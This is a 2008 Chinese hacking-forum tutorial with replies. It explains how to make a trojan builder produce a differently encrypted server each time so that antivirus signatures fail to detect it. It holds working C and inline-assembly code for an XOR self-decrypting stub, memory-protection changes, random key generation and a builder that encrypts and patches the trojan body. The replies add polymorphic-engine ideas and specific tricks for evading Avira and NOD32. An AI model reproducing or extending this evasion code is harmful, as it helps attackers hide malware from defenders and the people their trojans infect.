[原创]实现生成木马的自动变异
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])文章作者:[E.S.T] 认真的雪
[b][color=Red]本文已在黑客手册发表,转载请写明出处[/color][/b]
由于前几天在学校图书馆,找到一本病毒分析的书,让我灵感大发,于是就有了此文,下面请听我一一道来。
在现在这个杀毒软件横行的时代。木马在发布没几天,就会被各大杀毒软件盯上,然后小黑们就只能无奈的做着免杀,加花指令、加壳、改特征码,忙得半死,终于免杀了,可没用多久,又被杀了。这种情况我以前也常常遇到。
那么我们能不能做到每次生成的木马都不一样呢,这样给杀毒软件定位特征码就带来了一定的难度,延长了木马的生存时间。今天我们就来实现这一功能。
我们大家都知道木马服务端一般是先编写完成,然后以资源的形式导入到客户端,使用时再由客户端生成。既然服务端是事先写好的,那么要实现每次生成都产生不同的代码,唯一的方法就是加密,每次都用不同的密钥对代码进行加密,但是加密后的代码在内存中是不能运行的,所以运行加密代码之前就一定要解密。具体过程如(图1)
[attach]11350[/attach]
从图中可以看出,首先由客户端生成服务端,在生成的过程中对其主体代码进行加密(用随机密钥),由于在服务端中有解密代码,而图中服务端程序是从下往上执行的,所以运行程序后首先执行解密代码,对主体代码进行解密,解密完成后再去执行木马主体代码。整个流程就如上所诉。下面我们来一步一步实现上面的想法。
首先是木马主体代码的编写,由于这不是本文的重点,所以就用一段枚举进程的函数来代替,这里不再讨论,具体代码包含在光盘中,已加了具体注释。
下面我们就来实现解密部分,这里我们用的加解密算法是抑或,抑或一次是加密,抑或两次是解密,比如97和61抑或一次的结果是92,这是加密的过程;再把92和61抑或之后的结果97,这就是解密的过程。在这个加解密过程中的密钥就是61。当然你也可以用更强悍的加解密算法。
在内存中要实现解密,那么我们还需要知道主体代码的起始位置和大小,然后一个字节一个字节进行解密,这里我用汇编来实现,用汇编实现这个过程个人觉得比较方便,代码如下:[code]//得到MainCode函数地址
lea esi,MainCode;
mov MainCodeAddr,esi;
//得到Decoded函数地址
lea eax,Decoded;
//计算MainCode函数的大小
sub eax,esi;
mov SizeOfCode,eax;
[/code]在上面代码中Decoded函数就是解密函数,而MainCode函数就是木马的主体代码,从图1中可以看出且MainCode函数就在解密函数上面,那么两个函数的起始地址相减,就得到了MainCode函数的大小。
得到了这些信息后,我们就要对主体代码进行一个字节一个字节的解密了。这里用一个循环结构来实现:[code]
decode:
//抑或解密,BL中的存的是密钥
xor byte ptr[esi],BL;
inc esi;
dec eax;
jne decode;
[/code]到这里也许你会觉得一切都完成了,但是我们还有一步忘做了,由于我们现在修改的是内存中代码段的数据,而这些内存页是不可写的,那么我们在进行这些内存操作之前还必须要改变内存页保护属性,所幸比较简单,只需要调用VirtualProtectEx函数即可。下面我们来看看完整的解密代码吧:[code]
DWORD SizeOfCode,MianCodeAddr,DecodedAddr;
int Decoded()
{
//密钥,做密钥时取第一个字节
char MyCode[255]="AAAAAAAAAAAAAAAAAAAAAAAAA";
DWORD oldProtect;
//得到自身进程句柄
HANDLE hProcess=GetCurrentProcess();
//改变内存页属性为可读写,由于这里不知道主体代码的大小所以设大点,0x1000
VirtualProtectEx(hProcess,&MianCode,0x1000,PAGE_READWRITE,&oldProtect);
__asm
{
pushad;
//得到MainCode函数地址
lea esi,MianCode;
mov MianCodeAddr,esi;
//得到Decoded函数地址
lea eax,Decoded;
mov DecodedAddr,eax;
//计算MainCode函数的大小
sub eax,esi;
mov SizeOfCode,eax;
xor BL,BL;
mov BL,MyCode[0];
//解密
decode:
xor byte ptr[esi],BL;
inc esi;
dec eax;
jne decode;
popad;
}
return 0;
}
[/code]上面代码中的MyCode变量中存的那么多字符中只有MyCode[0]中的字符是做为密钥的,那么怎么实现密钥的随机性呢,这个要靠客户端实现,在客户端中我们要用搜索的方式,找到服务端中MyCode变量中一连串A的位置,并把第一字符改为加密的密钥,而产生这个加密的密钥是随机的,那么当服务端中把MyCode[0]作为密钥的时,读到的正是我们改成随机密钥的这个值。这样就实现了密钥的随机性,具体过程会在客户端实现中讲到。
这样之后我们还需要在主函数里调用Decoded()函数,然后调用printf函数输出SizeOfCode(主体代码长度)、MianCodeAddr(主体代码函数的起始地址)这两个变量的值,因为在客户端对服务端主体代码加密的过程中要用到这两个值,执行效果如(图2):
[attach]11351[/attach]
得到这两个值后,删除掉主函数中输出部分代码,并且添加上对MianCode函数的调用,具体代码如下:[code]int main(int argc, char* argv[])
{ //解密代码
Decoded();
//主体代码
MainCode();
getchar();
return 0;
}
[/code]这时候运行这个程序会报错如(图3)所示:
[attach]11352[/attach]
这是因为主体代码并没用经过加密,从抑或算法的特点可知,在内存中对没有加密的代码解密的结果就相当与对其进行了加密,加密后的代码运行当然会报错。
服务端到这里就写完了,那么下面我们就来实现客户端的编写,客户端的主体功能就是对服务端的主体代码进行加密。这里服务端我们要以资源的形式包含在客户端中。先建立的一个mfc工程,如图4所示:
[attach]11353[/attach]
为了方便可以直接修改工程目录下.rc和Resource.h文件把服务端以资源的形式导入,在.rc文件下添加命令如下:
ID_MAGICDEL_EXE C_BINARYTYPE ma.exe
ma.exe表示服务端的文件名,要放在工程目录下。
在Resource.h文件下添加如下命令:
#define ID_MAGICDEL_EXE 100
#define RC_BINARYTYPE 911
编译后,ma.exe就会以资源的形式包含在工程中,我们就可以调用资源处理的API函数对其进行处理了。首先我们要把资源文件写入到一个内存空间当中,对内存中的数据进行操作,总比对文件进行操作来得快和方便。具体代码如下:[code]//查找木马资源
HRSRChrsrc = FindResource(NULL,
MAKEINTRESOURCE(ID_MAGICDEL_EXE),
MAKEINTRESOURCE(RC_BINARYTYPE));
//导入资源到存储器
HGLOBAL hglobal = LoadResource(NULL, hrsrc);
//锁定资源
void *psrc = LockResource(hglobal);
//得到资源大小
DWORD size = SizeofResource(NULL, hrsrc);
//申请内存空间
char *hmem=(char *)malloc(size+1);
DWORD nsize;
//把资源写入内存
WriteProcessMemory(GetCurrentProcess(),hmem,(LPCVOID *)psrc,size,&nsize);
[/code]这样我们就把资源文件写入到我们指定得内存空间了,hmem变量就是指向这个内存空间的起始位置的指针,也就是指向了服务端文件开始的位置,那么下面我们就要定位到主体代码的位置。还记得前面我们得到的MianCodeAddr(主体代码函数的起始地址)变量的值吗?现在我们就要用到它了,图2中显示的值是401000h,由于这是在内存中的偏移地址,因此还加上了基址400000h,那么401000h-400000h就是文件中主体代码的偏移地址:1000h。得到了这个偏移地址后,要定位到此时的主体代码位置也就容易多了,只要用hmem变量指向的内存空间的地址加上1000h就是主体代码的起始位置了。这个问题解决之后,加密过程其实和解密过程是差不多的,因为都是用抑或算法实现的。
那么还剩下的问题就是怎么生成随机密钥,这里我把它写成了一个函数,如下:[code]
//生成一个随机字符(密钥)
char AutorChar()
{
char a[16] ={'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'};
int i;
//播下随机数发生器种子
srand((unsigned)time(NULL));
//得到随机数
i = rand();
//循环减去16,直到随机数不大于15
while(i>15)
{
i-=16;
}
//返回随机字符
return a[i];
}
[/code]这样每次调用这个函数都会生成一个随机的字符作为密钥。当然我们还需要把MyCode变量中一连串A的第一个字符改成我们的随机密钥,我们用内存搜索的方式来定位这一连串A,然后把第一个字符改成随机密钥。搜索修改函数如下:[code]
//搜索内存中的信息,并将其修改
//hmen要查找的起始地址,len要查找的内存大小,from要查找的字符指针,to要修改成的内容
bool ModifyMem(char *hmem,int len,char *from,char *to)
{
char charf[100],chart[100],*charg;
bool result=false;
strcpy(charf,from);
strcpy(chart,to);
for(int i=0;i<len;i++)
{
charg=(char *)&hmem[i];
//比较找到的字符和要查找的字符
if(strcmp(charg,charf)==0)
{
//找到后修改内存中的字符 if(WriteProcessMemory(GetCurrentProcess(),(LPVOID)(hmem+i),chart,strlen(chart)+1,NULL))
result=true;
break;
}
}
return result;
}
[/code]所有的这些操作完成后,就可以把这个内存空间中的数据写入到文件中了,这样就生成了随机加密后的木马程序,实现了生成木马的自动变异,下面给出客户端主体部分代码:[code]
void CodeFile(char *FileName)
{
//查找木马资源
HRSRC hrsrc = FindResource(NULL,
MAKEINTRESOURCE(ID_MAGICDEL_EXE),
MAKEINTRESOURCE(RC_BINARYTYPE));
//导入资源到存储器
HGLOBAL hglobal = LoadResource(NULL, hrsrc);
//锁定资源
void *psrc = LockResource(hglobal);
//得到资源大小
DWORD size = SizeofResource(NULL, hrsrc);
//申请内存空间
char *hmem=(char *)malloc(size+1);
DWORD nsize;
//把资源写入内存
WriteProcessMemory(GetCurrentProcess(),hmem,(LPCVOID *)psrc,size,&nsize);
//要查找的一连串A
char from[255]="AAAAAAAAAAAAAAAAAAAAAAAAA";
char to[255]={0};
//得到随机加密口令
to[0]=AutorChar();
__asm
{
pushad;
//得到资源在内存中的启示地址
mov esi,hmem;
//定位到要加密的代码地址
add esi,0x1000;
//把要的代码大小赋给eax,上面得到的SizeOfCode(主体代码长度)的值就
//用于此
mov eax,0xd0;
xor BL,BL;
//把密钥给BL
mov BL,to[0];
//抑或加密
code:
xor byte ptr[esi],BL;
inc esi;
dec eax;
jne code;
}
//修改原始加密口令
if(!ModifyMem(hmem,size,from,to))
{
::MessageBox(NULL,"写入加密口令错误","错误",NULL);
return;
}
//创建文件
HANDLE hFile = CreateFile(FileName, GENERIC_WRITE, 0, 0, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL, 0);
DWORD cbWritten;
//把内存中的资源写入文件
WriteFile(hFile, hmem, size, &cbWritten, 0);
CloseHandle(hFile);
::GlobalFree(psrc);
free(hmem);
}
[/code]我们只需要在生成按钮的单击事件中添加对CodeFile函数的调用即可。编译后,用客户端生成服务端,发现运行正常,如(图5)
[attach]11354[/attach]
大家有什么疑问或建议可以到黑手论坛上给我留言,我的ID是认真的雪。
[[i] 本帖最后由 认真的雪 于 2008-4-18 10:43 编辑 [/i]] 看PolyBox[C]的代码吧。。代码里面写的很清楚。。。
这种编译缺点很多
1.Stub-也就是解码头部不会变化。现在的多态引擎。都可以生成多态头部,。其实整合一个垃圾产生器进去就可以了~不会写的话请参考以前写的文章调用ETG引擎来产生垃圾代码。。。
2.动态代码位置调换
3.可以生成动态生成SEH 还有MMX,SSE1,2,3,SSSE3等高级指令
4.因为变异后体积都明显的增大,虽好的情况能使用压缩引擎。这个容易实现
5.算法是死的。一般的多态引擎算法也是无法自己产生的。为了产生更好的变异效果。应该具备动态生成加密算法
6.最N的。。。变型技术了。代码替换,抽代码。在一个好的反汇编引擎的配合下这个不是难事~
单纯的加密没什么实用意义。。。
欢迎新成员加入~
[[i] 本帖最后由 Anskya 于 2008-3-26 17:59 编辑 [/i]] [quote]原帖由 [i]Anskya[/i] 于 2008-3-26 17:57 发表 [url=https://forum.eviloctal.com/redirect.php?goto=findpost&pid=140501&ptid=32659][img]images/common/back.gif[/img][/url]
看PolyBox[C]的代码吧。。代码里面写的很清楚。。。
这种编译缺点很多
1.Stub-也就是解码头部不会变化。现在的多态引擎。都可以生成多态头部,。其实整合一个垃圾产生器进去就可以了~不会写的话请参考以前写的文章调用 ... [/quote]
评价滴很好很精辟:loveliness: 杀毒软件越来越让人郁闷了.
仅仅一个xor 加随机密钥 瑞星都过不去
代码位置调换. 指的是? 解密头?
动态生成seh 完全没用... 高级指令?我只用这个比较时间...对付卡吧的启发有用,小伞的肯定没用
抽代码其实还是蛮苦恼的.
为了个免杀...浪费太多时间了../:sweat:
直接把代码全放网上吧?或者跟pi一样..聪明多了.! 今年也尝试了下异或变形,实在水平太菜,怎么都弄不过小红伞,:sad:
后来找了个公开的多态变形引擎改了下寄存器地址就过了,就是老报错。
不知道小红伞是怎么查杀的,希望大牛们能给指教一下!
还有,Anskya你的头像真有激情!:loveliness: 这段代码已经不适合现在。。。技术对抗已经不在这个层面上了。
重新回到圈子,把技术作为娱乐活动,发现大家现在都玩高科技。。。 想问个问题
int main(int argc, char* argv[])
{ //解密代码
Decoded();
//主体代码
MainCode();
getchar();
return 0;
}
假设 MainCode 中调用了 另外一个函数 MainCode2
void MainCode2()
{
.....
}
void MainCode()
{
.....
MainCode2();
}
这种情况要不要对 MainCode2 做处理 如何处理?? [quote]后来找了个公开的多态变形引擎改了下寄存器地址就过了,就是老报错[/quote]
那不叫过! 你改得不报错的时候 就又会杀你了
多加几个
invoke Messagebox.123h,CTXT('yes or no ?'),CTXT('about'),MB_YESNO
nod32就过了, 加密的代码要执行,最终还是要解密的
一旦解密,代码还是暴露了:sad: [quote]原帖由 [i]洋洋洒洒[/i] 于 2008-3-27 16:53 发表 [url=http://forum.eviloctal.com/redirect.php?goto=findpost&pid=140544&ptid=32659][img]images/common/back.gif[/img][/url]
那不叫过! 你改得不报错的时候 就又会杀你了
多加几个
invoke Messagebox.123h,CTXT('yes or no ?'),CTXT('about'),MB_YESNO
nod32就过了, [/quote]
谢谢指导!
没有,原来执行就会报错,应该是找的引擎的问题。但是小红伞就是报病毒!
我只是把开始保存随机密钥的寄存器改了,然后照样执行入栈操作,进入解密阶段就没有影响了!
我看了最后还是能够在内存里解密成功的。这样应该没有影响才对!但是小红伞表面就不管了。实在不知道为什么! 好久没搞了,记得还是2.7的时候,nod32加几个调试语句就可以过了 确实这种方法已经淘汰了,内存解密运行,代码太容易被还原,所以杀毒容易定义内存特征码 估计没什么效果,要知道那个所谓的载体一样会被杀...
再者这种内存解密运行的技术已经跟不上时代了. 思路感觉非常好,因为想到了用加密加解密的手法,先骗过杀软然后运行的方法,但这个方法自己感觉怎么跟加壳差不多,有那么一股子意思。而且有种像自动写进花的意思,虽然是本质上的不同。其实免杀么,就是改程序,在不影响程序正常运行的情况下修改程序,是免杀一直在追求的,这就是所谓的万变不离其宗吧!其实这篇文章也是这样,先修改然后因为影响了程序,在骗过杀软后开始恢复,是一种免杀的有一种好方法! [s:287] [s:287] 貌似偶好久没出现咯
=。=!最近在玩无线~~~很有意思的样子 真滴~~~
至于木马的免杀技术 我坚信一点 学编程 同样是底层的权限 对抗才是同一层次的 现在的免杀不做底层感觉都没戏……难啊……
页:
[1]